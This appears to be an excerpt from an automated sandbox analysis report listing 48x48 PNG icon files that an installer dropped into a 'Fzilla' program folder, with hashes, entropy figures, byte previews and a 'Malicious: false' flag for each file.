SHA-512:	F43B702EC464452FBE204D3FF436B2A59A3340F3C30CD40A40BB552B610A0E078735F17294985B0BED80F7F454C475FE51E5AB90046A3EB2BB8501EB6A862F85
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......<IDATx..Z.n$9.}...2333........oY./c.9Y.3...Sd..J.L._I..8..{.......?Z..g.9..!..?..;(..D.0......~..!...PH.R.J.x<x..y=..HdK..L&.....J.5i.j....UKu8. ...m.. iZ...Y..^..V.n.S%.l..N.v.}s.....[':..n....BD.........&.... /8...b5.>a.px...B.0@..]^$S.....?....iZ..?..p-.1.'7.....A..."..#.J..T.`U.q..JKK..:..K<`.X...}>.\|...b,.RS....I455.....y.S.MbM.w..."......BT..aZ.&... D....X.D.O....F...hT(W..0.1$..... .....%.X...r.."..'h...`ff..D.D...I\|....hHX.yItuu..r"...<...3p...-.R.4^.xi.].=....]WW.d<....A\.t..6m2~G.OE<.CmM.+..xB........abb..hD.6K.5k.c.N...U...._.\|Q..H.g!....-D"2y.t.2...a..U.+.@(...g..........D\&/..8.......PTX$...1T.T..H/.'...(....L..'.m.....s...~\|\|.....+.j......2V?.........b......>.....xzz..............W..g.].PRR".;q..S.....+..\|.R..9.P......4ZZ..Z.y....3.[.j..R.1...7...V...]..2?....ahx....u:]8{..($C.^.1ZnTv.&.&...6o....g6.3Rd....I..............9.. ....p@..a...=....<.X.A..8.....%-.$...ITUW1.y.2..{6..C....cx.^u.....U.....

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	7.804029018238258
Encrypted:	false
SSDEEP:	24:pXmIaGcXF6qHQj+E9sz+wRjhnUhaIc8FTZN7KuXnPKfKLEb+wjEHs0cLCNUqR4:OTAL+9RjhnU8JipXSok+U0cLCNI
MD5:	927E70178104C85F31946F2C2647F2CB
SHA1:	00076FA27C7F449EEDF9954519CF83C373514667
SHA-256:	FF0E8425930242427E9B5AB78DC181B65FEF6B73B54E93423E01225D412ACE3F
SHA-512:	33566AF1AF64BBD2A2F9E54CD9D3F87A7927B97D36EE249D01BDD55FC079EB73B7427E07E465C2E450FEBF8195600A9322006237C8E2832553C1610561632752
Malicious:	false
Preview:	.PNG........IHDR...0...0.....`......jPLTE...................................................................................................333......222..............................000111VVV...;;;...)))+++......444777<<<EEEHHH...]]]................................%%%.......................[[[dddgfgiiillm...............$$$ YYYFFF...BBB...CBC..././.........GGG...&&&(()JJJKKJKKK......LLL......a`a! ......GFG............III......nmnppp...-,-MMM......PPP...QQQ......RRR.........WWVWWXXXX...............**..................666\\\............888aaa......bbb......eeefff---hhh===......jjjkkklll>>>???AAAqqqssststtttuuvvvvwwwxxxzzz{{{}}}..................H!Q.....tRNS..........................{`;...~IDATx.....I...8i....Fl.g.m.m.OW..A.p...S...v.;......51.&/..T.......`...,.1.9W..a...v.".f..\|..J.......W>.......... :!..\|...)pP....{.V=...<.`.....mC.q87pPQ.b......B .......w2..}e.S_c}...........q..+FMp...H(..>..O..t=.8..@\|..#.m.,?.........g?X{.......5E.....#`...........i.

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	1011
Entropy (8bit):	7.622816129915371
Encrypted:	false
SSDEEP:	24:hSNxveAI7GbfoXEPiV3Oy3/+ToC0tQzPWV+U9:hS2AI7GbfoUPiV3T3/6o5LVJ
MD5:	AA4957FA63DF6685B2A25EDCDE1BEF11
SHA1:	67984828BCA9EA0813D57E75B98E8E9369657718
SHA-256:	195F102BB4FB40DDC34288A1206BC82206DC9FB5F56BF313AED5CAE45DED1008
SHA-512:	1EF4FBEF3C309638E1170995975B72EE8A28B1E11C79D6B98D904126918BB5BF1017F8EED35F3BA058327F83BD47FFD4CC7FF266F0EDA7395E8289E7D964BBFE
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1.....IDATx......K...zm.g.m.m.m.ms.u.:.F.:..#.T.J.g......@)..._..GM......cb.......A.10.....-(..{......A=\|....P.%....U.l.Q.c)3..(.6..4h........!.{...X.&..y........N~,.w..AE......P.'D.."u...nD..O@TU.aJ.i@.t......k.\@\|..bB.T4...h.0.....f4..-,.X...Q...."O.g-..1..\.......}..:...kZrO.<{.H0..-+.+.V@....M..T.......^4&....n.D.nE..g.4Z..=....}.....]....t:..-....&..{...3.1.YEP}....kN.;.".h/.......k1...P.q.;.L.nc. ..-....D.e>......^...2..WA....LeO..x...vu..lJ..`2...G.;.......:G....] ~.]D..&G.ZU....[.E....k......@.. .o...u...R.C...0........F.@..@./..A..j.....[&.ko...v..?.z..7......"..-E.=.~..! .4.W..... .1'...._...s....j..Mp.)..b.w..".&o.I.......~.(A....@.<...F...ZK.&..Mk.f.y.@...@0.Ya.......k.Z....t....ne.....y-.=V..].".Bp..=.`r.oyq.....(]...V0.%A.k.V......y......m.Zxoni.k.:......=....)w.`......>Nm..gln_o...f5.........z.U^n3.Y=X... h<#]..R..C.F..X......-..yB....(u8.^.TP.A.g(z(~.f..7.w{z.........k6......0............x\.

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2850
Entropy (8bit):	7.88078841184119
Encrypted:	false
SSDEEP:	48:VHULjjqZBWbUEebs7yN/AU4iROHY8q0ULDBresT:VpBNVUcIOROSnLDsW
MD5:	17F1CBB8781A293858A313B3565DAFC3
SHA1:	CB7929B5D94D985305C1F46C591E7074CC8A7199
SHA-256:	44D9D04144C429AB147723EBCEC3E4B67499975671F9FD54DBFEEA65341D8ED7
SHA-512:	F66DE2B9FC37666F0732C9B624A7DD3640568739A997A49C77B9279284CA7864EAD90BB004874241002F6B5ED88800DD8B815E26FBFCAD64D13B307E23C3ED84
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....$.v.?.U...t......fff...(.333.&......26c..L4...L.F....v5...9....l...H@.....cl.....4`.D.k?..&..e.vT?..>s.o..x.o.t.s..J..7..7...`i<.....;.3+[...'.._y..@....@.~.bvl._..S_...J(}..^.....".]z=...B ..G.}....'K..@\|..c_V..`.wi..<@>h..P:.l]....._r..@t.....0....O.W9b..P.......8...oR+...i@.I!.H../....i..Y.r.V....>.g.l?i.Y..c.......>...U.5......E_S;...o.W_....`4..&..2.;?..g..7g..".MZ...e..;...C$#..N\|.&.k ..."....O..7...fD.K..._./..L..O..9O`z..'>.....o.4j3fAnF.,.O...g<M.l........xM.?.I.Y..o...w...5..9.m..^..<X{.x.`].X.........'.}..N..1.......l.@.)....G>.0.-. <@.u..iM.;8p.c>.....k>......d.-...Q%..k...l..C?..c.. .5.......T.....S.~.b....Z.q..I.e ........f.Z..F.?X...W.m...;..Vv6...F.6..sO.....P0..,...[.dH.?g.q/.........:;....Q\|=L.....S...fL...oC...wu.......J....\X._Z]n.//.+..*...."....&-.......BH..sBB....`.~a..4.;.i.,...d0..o......d.....$zok..K...~.{.K>..^./..=..W...j.p_..f.c0!....,`....B..3.$.g\|W7.z_.A...8`.,.x.

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2732
Entropy (8bit):	7.9101997711015155
Encrypted:	false
SSDEEP:	48:tbKF+TBUVRZ9/0bAx1eRcuX+4M5d1HXNTQqIha7IwuoXfpOlgO9x2a:kF+8ZT1dfvFN0J0hNXxMgO9x2a
MD5:	A0395DBC01BC529F3876E7AE9A36C1E6
SHA1:	0D2E3C80B4BB350020480F246297859B44E0D6B8
SHA-256:	E687D47C08F32FC0B1DAA5CD577F3E2112087E36DA2876EED3FABA573C7D5F3F
SHA-512:	5B2C30630AAB23A9A9D083EF6559F4FCE3ACA43956F84ADF0A7DFFC6EA8AA11B9832BDA2A63D14184A7EF31C866AFF1B61A932322E357F0578F6359D5A486DF8
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......sIDATx...t#......%...sy/........._......e2.Z.4..o.<.\{-K...9e........e.......w......g.~.^d.#..._....\DJ.b.r.\|.0...\|.3....a.(...-R.....b..&.\.<..WVV..."..1[,?...u.;.Y.....y../..ut.u..n.T...z.N......$.}.:7.......+_.._....`g..Tk5j......s..M....+....{.U.Kn..2XK....[.&}R-.l......+.]............~.H>B~......5N.{....H>......[..:{..Q......00..8.u8g1..lV.1..V..ij..7W...\j.d...q.W..$."....g......80??......,.O0...<f_.Y(.Ep.P..M.....MA.....}](....$..a.....h+]Z...}.........V.......=._`h.......n.<..@..Ri.......v....8..!....%......\.g-..JP.vX..>.na.?..%Q...{`...#.......$I..46.bcgL.[..v......p..j..?A."...H.d&...0.2A@.....+.!J.........q...@....(.....b.3..h.....I..6%..4...b.!5..5...}.8.P..U.z.<.X...........5HRH.:.E]p..m..4E.......AF_z%..z....(.......w.a.`K...5..>....@T.....A.B....[...Ep...z..@iX.. ;..\E.....c.........Q.F...6..0....)...8.y........,.{!r.-............7...........":n..5i.......,TP..Q.5..k).........:..

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4541
Entropy (8bit):	7.941726318863344
Encrypted:	false
SSDEEP:	96:zfbySKwFIaPnV+f33GToP78Q9bgjrFgDdNbHhO8PjIVlfsmCksJu:zOSKwFIafiWoP41jrKDd68P+gksJu
MD5:	34E1332DD39539CEEB6E50256E1A7D81
SHA1:	7F9C760AA312DBFD3122FD153190127A7F77D73E
SHA-256:	11A2E0BE0FA54EB2AC0D86943447131A42C3BEA0FD79AC46CF71E09E49321E6F
SHA-512:	8E4F4350E1A4888EF1D94688012E8FE773DFEBFF308D507EF79153691C875C1189A947723E70A01CC8D1D60101C03408DC8608F348D8109405CA999AC8B67829
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...t....3 ......C.9....-3.efff.Rn....+.)s.N..p.(...yS..VnR..........[#./..w..`Yy..HL.M..T..1.n....YO......=.....e.2cM.VV...@YI...T.E.J.0....P=...Zm5}......h..b3......%E.o:h..V.P0.....i.wH...wp.-..,/CJ. ..."..\v..o.......h.0FI. P.,J)pl.O..~S....` ...d-.T.~...).A.. .R....u>No?..z.sf.T.t....W.....C....`(Xn.fQ0...B...../.P_ `....:...+%0..~....]=dw.......}...\.r........UU...h.(.I.4y..L..<(..N.4-.@..$...;..l.k..[u..v.......V..;.$.8##x....C.T.4..P._.mc..{.Rf....f.$...hmi.....6v...5J........+.8...8....2..X.O}...[YKp@..;C.(...EI.lT..M.gK.8.A....@.06.. ........r....zp41.ZIi......K....]{.....).....s.1..v..z........,....i(...@h..k..B6.B.a...P9..J.W...`Ue.A.....,..W?.........vZ....W.E{JqI.m...8}Mm]].=.h..w.y..g.x...9.7...EC.-[..`......q].._...q...e.Q.&.._....(.....hin....k.(~.......~.,Z.`.R+.....7O@..\..v..O~.{....{..v..~...o}.K.,(.#.E..c...D.3.tQ..B..DY6 ..20..R.0...@..=].SW......^....s..>.....

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3079
Entropy (8bit):	7.925529381479853
Encrypted:	false
SSDEEP:	48:DIpEal3ERj+RrV3bBMKAWC9+zvKipYsO0hRrFOAzQcCmkkZk2pmUIzdV8+ZjL11F:Dtal3EIrRFM7ezvNhRrP8cCn57oa20Wm
MD5:	11B5B38783CC4A49F83AFB327EC6FB28
SHA1:	5B1210A096F12793E25AC8385C49170909A81693
SHA-256:	3897B0B6758F4222CAFD6BDD5BBD97EBEF8AC4D44EE8E9E263364A9A5B1275E0
SHA-512:	2F9366D263DA0290FDE499228FDE308924B3DDBB4CD250A700C13224F7EA4E3CBBAD3365CBDE5EF0FE439906AC007C1449F24A151EADFFB38FF862C466952AB5
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...t.....3+...=!....\|4...Pww/r.n....;N.O(.k.I.......I..d....\|}.2k......'..n..-":J.-.......J.9...q..,.....i......M.455...\|.....pQK......7....g.......(.m.(''....t.#$....f.~?....a....F.$............a.f.a..,..g.}}E.@..W.5k....N.;.;..]K..1..i.AW\qefkk...3m...A.m...m.-....0M..4.!...~.j......\|q....j.W\v.E.~....G..........&@w...t...eY....7..\|x.h..Pf..4.X.....p...o6#... $$D.t.9;T...~..........?.;.Z...Xs.CK.Y.ic./.........b.\|[..u..DW.P..%V.y,......cciuF..cs;.`}x........?%.9\.......H;.....+.6?.t....W....P..=.FCT(L.`.i.`@\N'e..1...k.h:H{....n.AP.....^...........bY..m&..9..`0..-.......~C-\G..........z"..0M.V.W.4..4.K..T..H..{....^....4......F. ...C...~.C.4}.`Lfl...e......i.B.F...h._..........z@.H.e.x ....f.mw.wV.9.=...r`..>.A...7#....7e.....{.c......O.@(M.I..zk.<.3..Gw...d%.}.. .LMDC...9.0.o..ig].#&.A.'....@.1..Z...r..k_8.,......?.+n..<..........,...t.......cJ......>...\|.3.....(...G.....OLD.A.*.:R...

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1778
Entropy (8bit):	7.842014884113638
Encrypted:	false
SSDEEP:	48:VVKzjIQEZk5IjJS/U7PvgiTPTYLW1voI8l:zKzb5EqUTvfki1gB
MD5:	E9F13FDE8AE115E31C3854101D5523F4
SHA1:	8A6428D5A86E95F0F79A5798D8825B4E015D2CDA
SHA-256:	4ED6C9B57BB6FB5609A65472EBDA9A09DC64509C16EAC5BE3FAC966ECAB10687
SHA-512:	4766AD46DDFFF1960DABB909067CFC946BBA75E5A376500173F5CDDAB6D831ACFB2C969906DE8343A4BFBB8721B0A7DB38F342985AD6263343ED02309D2F15AD
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..c\|di....n4ag.{.c.N..m[....^....]q..42hw:..7O.~....0G.....q..c..%......`.RL.."..d....%.H.S6.U..4........1G.M..Q...\|..\..L.^L]R0.7..G(+S..NBI..B.^...@.....4h.(..E..C0.p..L@.#6..B...2...."U~...(d......p..eB0.L...~.]z..E..D"s....?...."DA#..,.._.%......%..x.......@.(H....%,.. ^'!..HA.(...M.H.".B&..U.Z..-......Q.M;.\.L...\!...Q.Z.\|Y.(d.z.i(U..L.@....WE.".8.R......J.,"...gZ.`.... .q.,..T#......AP.......\|9..^.O...p...... ...T.....BKYD...p[..0V......e.`.IK. .].B.D..`!.~p_..H. .D.0..K...J-1.}.)..w...e<.0.L1.5\|.W....m.n.RF.c..D..."`.....5.....<.\|.5.....\|.QR..C.k..N;..d...N]...F5.T.A..@$...).!..`y.M)].....zQ..~..rI.?...<..k.);...C..U4(&.H ..PSN.XM..q...?3.......t....<yt......\....%.d....(..._..(..N\.....v..O.$...\|...PV...B.f.....?Aye.!I..w.O.A...Y....GTWDLL9..\.h:.."A .X".......{..%.....-....o.k]..^.m..2......`.+:%.8.'.....@..<(....!*.0....f Eh8..8Y...-...f...(.gt...7.~.._s...i........-.f.;..{3/{.....js@U...`..F.X

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2541
Entropy (8bit):	7.895272434230799
Encrypted:	false
SSDEEP:	48:w6i15MGime/967uwM/v+LWi87fhUL9Oxsg7wbbT+y6dB6S5sI:wnkGim57ufPsg7YbT+3dLeI
MD5:	CA56E1B1AC534DC22C691DE0CF8F8BCA
SHA1:	98C47048B81EB5D4616400E44DFFBEACB58512F8
SHA-256:	C4A5E4D2DB551BBFFBBC178E74B4A0F07A18ABA964E4FA929FEDABFB90CAB0FA
SHA-512:	23F34355E30F541607B82472F1B16A8B42CD9DF98255A622DB6E257CBA0D72399757F9A4FBF9565DC947C88BF2D2C7849FE10E3C783378B24E34FF823B4F497B
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...l\Y.FO.{.k2c.i~.af....,Xffff..........1..M......(J,G...>3.X...9...^......U.ra..9o..UM..k.H..9.>.K.A..N%......o.0..+a........K.47.A.L....Tr....".'.e.[.\].....k.wEqD......(`....eJ.NjI./`....."}Nl.9)8.D.....0.....Q...0#..."....f1.((`t#......Y)x.qp.0.....6.E.,.....f. @..L\.b.@.ka.....7"...r.QL..D8.L.<1h...!`.`....J.s..... ....g.A.\|M.8..Qu....U...0.U.9D 8..P4l...... .!.^z1.(.B.].@...4...#WE`..#8.sqB.0@......~.\....9.A.z.F......;.]w......r..H7..r.....L,.;;v..o..F{..S......:..gtl\|..w....G~9.hL...%..9.ZHoz.G.4.,............../_.....7...d..t.X.8.."+FG.F.'".c$..;...\..j;.^5.......L..fM........iOB...F......R.<...Z.../..\|.XO.M3.)......<8..Yr.r.........P1..........'.....w.u.t`.E....!....i.M.\!q..28P.....>...N}.HsI./.g..6.E........x1p.....'.r.(.........),........T{[.Y...8.8...?p...J..u$..2......eW..L..>..............R.b.,..-8T.o...[.g9....S@.47..I..@.%.l.... .#.,.t..-.F9ih.B)Kz.X...&\|.O....:....}..D

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	491
Entropy (8bit):	7.418307307805135
Encrypted:	false
SSDEEP:	12:6v/7/8HEOTp9lO+4mZlvumOjH24ntz7mX9fBxKh:3EOx4mru5K4NeB+
MD5:	7E6FE83B01D0B919B2DB645EC751EFF2
SHA1:	36AF223DF4160F6DD552E558989BBA8A345AAEB8
SHA-256:	56142FEFA0721D2F0E6133119E3AC1FB5D4E97C133CCDC6AC1D865D8AFF45580
SHA-512:	CB8CCE672155CCC825BC62739BF28FA96D00CA54624F0434348E2A3786EACBF5C26A6951A6C553ED81A0D3210CC60049810E6182AEC3F27AFBAF1C4AA2F2AEF7
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1.....IDATx..XYNCA.K._.Kp_.......eB;..g...;$.!..&q../.U\|.1A..........p}.M...1}.w...gE./...s.s.......:N..-b...%......_.<Kk@WKD.dh.U"...+..2.H.P.H..3...A@M...... ].R@j..b@+r_..z.@....jF...2BP.\...SL...aZ..c.Q.N.-.X.g...+2"B...X3U(..ES..x.#.[...j'D$.<P.U.-jj.....c&8...D.$h...#.HI0..... .._.......^.A...E;.6..l..._.8..$`..!"..\.JF. ..iU.y K......8..<.m.y.0.H...Ok `z...h._...-jU....Q.E.....9KL.9.'&....4....1.....m.7......../.W............IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1595
Entropy (8bit):	7.809031979096335
Encrypted:	false
SSDEEP:	24:UulLDq/QNiluIDMz/zZMFD9CTudmKLNqleiRzJ8NTwXc44g4gpEqYJ/0yqfh77:dZW9sWMz1MFBCCoeYzy6PU/lqt7
MD5:	2D9CBCE358D8C1B66C2511A8B14CFFA4
SHA1:	6002955CB658FDC4E9B7A39D3C672222FB172B18
SHA-256:	9D2C5B388E3D82CB36BB300628E3D34DA5DB424A84F60EB3489A69D819278B7F
SHA-512:	94CC619BD3E61DAC53260AB975AEBEC742ACCBE4AD17C6475587D8919770C499A749C6FD2302865F976CC2705281EED3468D396346B3BDFBCD1196FD927E2A60
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....#.......R..{.Fa..D.c....Q.. ........a=..{..7.._.st..\.5.Z.%5g...;>.1.E..%Gv..<....kw............i.3o.?.o.....P..t.....n....T.8u......~.k.r.;...S.1R.gI5...f...Y....;.3..\|.5...g..oK.EU.....hH~..."...W..6.......W..^N..1....M..?MY...B.-..L...a..4/8...v.Mm.Y.G.5.9)....qz....4.Pq2).......?.T.3......Gd0....CD..&.! ..\|..fk........h..J...#....."au..p......!.8D.p.uc....^o.0O....ov3...@8}.$.{.\.z.g<e(" $M..1I.$w.. .$c....O..Mo.TK./<w..{{..z,U.....b...~......>{......3.K-.H.J;.s.....}...[.w&...-{..J.....2..._4....5.....].XY.!(^.....7&@w%.j`f8.g7....uU....\|.v.!:}W'`d./({...(..{.Ea\|.WyI.........@..,.....\..(.0...Aq............P..\|.%k"..........{..'....K..!."..T..;.I..5.!z......@.%E.R.S.NA.GF....}..U..3..#...@Q....k....@...(...qO..@..0.QI.I.....].rd.RV..@..`.?.Y$N.F..........o...P.}.xD...?...k\....X.......>...B...x.#X...g.=@p.e..a....pQ..........@....q..B.&.x...C.{..X..d...K..@..Bv........"....u...

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\find.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3635
Entropy (8bit):	7.93617930345458
Encrypted:	false
SSDEEP:	96:/RJHY8qW7rhMGNiC5OCi6ib7p5US29RLxA4tZULvU0RkML6OJ:/Dl3h3iC5OCi6k01Lzk4aKk
MD5:	49D929E443AEEF38D291EB7D70CDE363
SHA1:	5F35BD73E5DD36AE36589D07A1BFA4E3DDBFF40D
SHA-256:	9DF2D9717F11EA52791C49EEDB35EC1AE2BEA7AE34690F7C459086E284AEAE9D
SHA-512:	A04CEF618B0F21D7B6005CACE2AD1A9721867DF81E338042475A5E2562AF5265A4D00C43A39E595C6A7EDEF7B3790B236585831A00435270A31C06334AF8A89D
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....d....m.......m.fm#.l.V.....Q.v.}..Q'..F5.....GV%N..'3...S..rZ...y7.\|.e..BS]]]..ICCC.......s.R;..x....[.......K.....6....Ia...n..K.b.e..........o>....={.......[........z..L._.Y.....3\.jUd.5...#MMM.Et...}.O>..>..w..q.5!.B9.......S...w...._...7".....[..Pz>i.(...l......M.......LMM..>k...v..ZVV.E".{..L.l.%.....`....v.Zc^.........{.9oEEE622b.?...A.../..B.%(I..`\.6.....&''.....k[.n.+....xd``...Pm...1clff.0..3..D++//7.MOO[NNN...e......_v.MV(........o;v.0Q../^l....c......nCCC.....a.f....a.5k..V....*;..s...}v...x..^..Moz....,q.hYZZ.MNN..F....O...:d.TcNGG.1.vtt.p.1.P\\l.]t...o.{.[.r...W........U..R4.....xoo..m~{....I_ff....o.Y.....=....).>..w..[..$..D.?....G.w...D...1`S"...$..D9....jM......A..\.../P...J........+...u...cf.....Qv...b.5...;.@1..D..mmm..H.c8.\2.ZZ...z.hM..q.].J.Q.....}$>JD06...sb.1....:ro..UN.....7@./55.[h.F&..=.>.`........%C._O..(...9.0Z..9.wt...s.R9}n,.h1.}8C.....#..R.....(..O..(UjC..

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2136
Entropy (8bit):	7.89517619447082
Encrypted:	false
SSDEEP:	48:VcKnuAVisAJPPzZiOorWAhwfC6Mh/2MdHfBSnkMGqoTlNu0Hn0f:VcC7+JPMroC6Mh/2IUkMGRRNuB
MD5:	D59ADE20B0C7C9B61729B0A19C451CD0
SHA1:	ADED32002FC16564781C812E932CB35C7EA803FF
SHA-256:	EB5CA415E6A81F407521466186E6EC1B6A7BF3EFB0AF1C98563B301F297ED551
SHA-512:	F0B96790CCA74243C83DAC09BFDAE13FD3DE5C80CE7DF18EBD530EE1FEF10312FBA12D90EF8CE75D049F520D9235C9B7C63CF69706215C44CC75ADB34EC2C587
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....#.....1-..1=:.33333.....aff. ...c.c.E.g.....Z{.;g.n.%........f.O.........}.gW_......9../.i...y....(...e9.M...\Y...M....s......F..yb..e\|.....LF6.80.D>.a.x...r..p.?..s...8R..O......&.J..2>T8oA.\|dV...k....@...\|.5.`.p.T..j.H)b...9.....4......M......-...M9k...7..rk.....G.%g-...n..9Qq.......,...<.&3....w....W...(../ZN.~..T.3~..5.Xkp..D.x.@f..\.../.......q....U#y.[Uj..=.u.....d. ..RL..!....g......g..N..Wl.H..x.....T.TP......0.H9ff&F0..b.xU.Y.....2.+..u+....."...U.V...(.`.......3...J.!xQ4x6nG.`.......>@J.).J....F....v.....hH1.R/.............B"....1.... .....-b.B.G;`.C.4..C.x.....".....t8Q...;)....m.. .^$.......J.I...U.s"B.K...;P....}..u<...5]1U.^:y/ h....UI...C.k{..N...$....l..=-.H."b...$N.3...c..,..."g...kZ........BW.j.e...A..%.n{_q^1(.:..4.J3.'....JM.Y........Y....!.YF@..R..kcM.V....$.X.a.4`T....a.".......[...(!i.H'.....Y.4=...C..^.M;H...I..A\|+.LW#g.l.NV.....}@.......HA(7\(..L.N#..0]v.....

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\folderback.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2705
Entropy (8bit):	7.890826650285452
Encrypted:	false
SSDEEP:	48:HytOUE29oT7fDnGFV7UAzgjH0g/IpyxK1AYDQSc3bRIywK:HytO526jGFFUAzuDIUEuYDdiaY
MD5:	9845AA5006D73FC951F1EC7F8095D9B2
SHA1:	E7DD566D2B80090A1F572DDE62F4C074748A827F
SHA-256:	52FCE71D8475BBE35C945B87F9D65F49564DA0333D579D23F89146C5DB0B7AF3
SHA-512:	063B6B3D0BC7474C9479DB3B0391CE5CA444326BAE49B0A40C34DF67B1DDD2106E659445BFE648D81E9044CF0C3DF9E9495E1E474615F073260EF77D348BECDC
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......XIDATx....$.G.."2+......m.m.w{.m.....x.7.s.VM.....n=F.......'lj.=v........[&:[./...[..oyd.g.....r...../...Ntf';....`.........k....1....\,.........'...F.....i..8.%.LvZ...{.f&Fv.w...j..x{....n....N{a....Y.ie$3j......VK^....6y.v.&.._..a.9V..6;.:..=7...b.w..O..v....\|b4O.,K.)q+...Rpq.bj4..\|.Vf.....`...........WG..>....A.<~y..5g./...Q..J....@M..P...g.......V.0<yy..W..'[..Q8.....!..@.C..W!F....<...X.8.z.......Q.H..$.@..A.) .B...h....o.....W.......%.)Q.RU3.U.FH4...N..bw@..A.$0.I.JA.&pW..\..{..nQ.....B@.PT"..j..R@H....p.Hl.A.,.JJ.Yj....0.)F#..t.'p5.\C.............&0[?hBT.D.u5.4\|..bSD..h].r(+ai=...u..A......B....U.R`..B..B......h...i.!...W.B.....n..&\.]..;...G..5q.2.....L...{..}@.u.@w\|..l".H...`.Y.>+af.X..^%B.n.K)tC.........U.. ..fD.).!.b..%#$\.tQ..H.@x..0..+.!....wf..<......!..A.z}./......Bu...!..x.&.N...............a.. Rh.H-.h..i+.....I$..a\^.........+w..P....Q. .z..........1.............5.9..&......

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2143
Entropy (8bit):	7.87835363717093
Encrypted:	false
SSDEEP:	48:lIz+d0HvNfae9AAicyRO7ByqlfZH6stnSs6VNp2W9F6R:JWvNfncO7ByqlfZH6Qz6P4gG
MD5:	9924AA948E4F8A438CFAD52A7A9FB44C
SHA1:	711D69738EFF5D4CB0474638AB28637EF78F976E
SHA-256:	7EFEE51460BDEF793099C6E6D7B43A77EEC9D252020A2049BA8144054A554543
SHA-512:	78109E70839A215B71FC7C2B919380D75361436BB28B9D413799FF13DAA15E77B7E2D33F451D862B21C35D6E4554246C0AC9FE5C40ACD6F743D18135978325AA
Malicious:	false
